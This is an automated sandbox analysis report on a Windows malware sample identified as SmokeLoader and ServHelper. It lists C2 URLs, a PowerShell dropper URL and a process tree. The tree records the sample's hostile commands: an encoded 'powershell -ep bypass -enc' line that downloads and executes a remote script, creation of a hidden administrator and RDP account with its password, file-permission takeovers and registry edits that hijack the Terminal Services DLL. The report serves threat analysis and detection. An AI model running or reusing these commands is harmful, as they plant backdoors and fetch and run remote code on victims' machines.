Analysis

  • max time kernel
    150s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    18-10-2021 13:00

General

  • Target

    2b858c79a8a7a652f8cb60059eb7a95a.exe

  • Size

    343KB

  • MD5

    2b858c79a8a7a652f8cb60059eb7a95a

  • SHA1

    e669008a553976d275388ee02e49d5c938a6c27b

  • SHA256

    991e3c5fb9946ed0490a723a541bda0f36a9b94fff8a68f6729c15e1044dd954

  • SHA512

    c893d061191282d82bb421ef587b5c0dd973a31aec371d1bba6aba83a5a48444bc1660b9aa80d0f8f1f3beceb86825de2b249a0ffb64c905588f11c4a0bae8c9

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2b858c79a8a7a652f8cb60059eb7a95a.exe
    "C:\Users\Admin\AppData\Local\Temp\2b858c79a8a7a652f8cb60059eb7a95a.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:612
  • C:\Users\Admin\AppData\Local\Temp\9859.exe
    C:\Users\Admin\AppData\Local\Temp\9859.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ad-mfwll.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1240
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE9F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBE9E.tmp"
          4⤵
            PID:1948
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1408
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1516
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1584
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1708
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:108
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1740
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:708
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1112
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1692
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1384
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1224
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1144
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1608
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:888
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:796
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1800
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1056
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                    PID:1028
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      5⤵
                        PID:1620
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start rdpdr
                          6⤵
                            PID:1616
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                      3⤵
                        PID:1520
                        • C:\Windows\system32\cmd.exe
                          cmd /c net start TermService
                          4⤵
                            PID:1456
                            • C:\Windows\system32\net.exe
                              net start TermService
                              5⤵
                                PID:572
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 start TermService
                                  6⤵
                                    PID:1340
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                              3⤵
                                PID:1416
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                3⤵
                                  PID:976
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc 000000 /del
                              1⤵
                                PID:1312
                                • C:\Windows\system32\net.exe
                                  net.exe user WgaUtilAcc 000000 /del
                                  2⤵
                                    PID:1320
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                      3⤵
                                        PID:1740
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe user WgaUtilAcc dWzoqGmg /add
                                    1⤵
                                      PID:556
                                      • C:\Windows\system32\net.exe
                                        net.exe user WgaUtilAcc dWzoqGmg /add
                                        2⤵
                                          PID:1764
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 user WgaUtilAcc dWzoqGmg /add
                                            3⤵
                                              PID:748
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                          1⤵
                                            PID:844
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              2⤵
                                                PID:1608
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  3⤵
                                                    PID:1488
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                1⤵
                                                  PID:1016
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                    2⤵
                                                      PID:796
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                        3⤵
                                                          PID:816
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                      1⤵
                                                        PID:1028
                                                        • C:\Windows\system32\net.exe
                                                          net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          2⤵
                                                            PID:1780
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              3⤵
                                                                PID:1644
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd /C net.exe user WgaUtilAcc dWzoqGmg
                                                            1⤵
                                                              PID:892
                                                              • C:\Windows\system32\net.exe
                                                                net.exe user WgaUtilAcc dWzoqGmg
                                                                2⤵
                                                                  PID:1728
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 user WgaUtilAcc dWzoqGmg
                                                                    3⤵
                                                                      PID:392
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic path win32_VideoController get name
                                                                  1⤵
                                                                    PID:1540
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic path win32_VideoController get name
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:920
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C wmic CPU get NAME
                                                                    1⤵
                                                                      PID:1056
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic CPU get NAME
                                                                        2⤵
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1620
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                      1⤵
                                                                        PID:108
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          2⤵
                                                                            PID:1644
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              3⤵
                                                                              • Blocklisted process makes network request
                                                                              • Drops file in Windows directory
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:2020

                                                                        Network

                                                                        MITRE ATT&CK Enterprise v6

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • memory/612-54-0x000000000082B000-0x000000000083C000-memory.dmp

                                                                          Filesize

                                                                          68KB

                                                                        • memory/612-55-0x0000000075651000-0x0000000075653000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/612-56-0x0000000000220000-0x0000000000229000-memory.dmp

                                                                          Filesize

                                                                          36KB

                                                                        • memory/612-57-0x0000000000400000-0x0000000000788000-memory.dmp

                                                                          Filesize

                                                                          3.5MB

                                                                        • memory/1100-66-0x0000000041224000-0x0000000041226000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1100-63-0x00000000416A0000-0x0000000041A9F000-memory.dmp

                                                                          Filesize

                                                                          4.0MB

                                                                        • memory/1100-65-0x0000000041222000-0x0000000041224000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1100-68-0x0000000041227000-0x0000000041228000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1100-67-0x0000000041226000-0x0000000041227000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1212-58-0x0000000002940000-0x0000000002956000-memory.dmp

                                                                          Filesize

                                                                          88KB

                                                                        • memory/1240-86-0x00000000008B0000-0x00000000008B2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1408-97-0x0000000002794000-0x0000000002797000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1408-93-0x0000000002790000-0x0000000002792000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1408-94-0x000000001B9A0000-0x000000001BC9F000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1408-98-0x0000000002797000-0x0000000002798000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1408-92-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1408-96-0x000000000279C000-0x00000000027BB000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1408-95-0x0000000002792000-0x0000000002794000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1516-105-0x00000000028A2000-0x00000000028A4000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1516-104-0x00000000028A0000-0x00000000028A2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1516-103-0x000000001B7E0000-0x000000001BADF000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1516-108-0x00000000028AC000-0x00000000028CB000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1516-102-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1516-107-0x00000000028A7000-0x00000000028A8000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1516-106-0x00000000028A4000-0x00000000028A7000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1584-115-0x0000000002652000-0x0000000002654000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1584-113-0x0000000002650000-0x0000000002652000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1584-112-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1584-117-0x0000000002654000-0x0000000002657000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1584-118-0x000000000265C000-0x000000000267B000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1584-114-0x0000000002657000-0x0000000002658000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1584-116-0x000000001B8A0000-0x000000001BB9F000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1816-72-0x000000001B700000-0x000000001B9FF000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1816-70-0x000007FEFC271000-0x000007FEFC273000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1816-75-0x0000000002754000-0x0000000002757000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1816-73-0x0000000002750000-0x0000000002752000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1816-71-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1816-85-0x000000000275B000-0x000000000277A000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1816-74-0x0000000002752000-0x0000000002754000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1816-88-0x000000000277D000-0x000000000277E000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/2020-163-0x0000000000FE4000-0x0000000000FE7000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/2020-164-0x0000000000FEB000-0x000000000100A000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/2020-161-0x0000000000FE0000-0x0000000000FE2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/2020-162-0x0000000000FE2000-0x0000000000FE4000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/2020-160-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB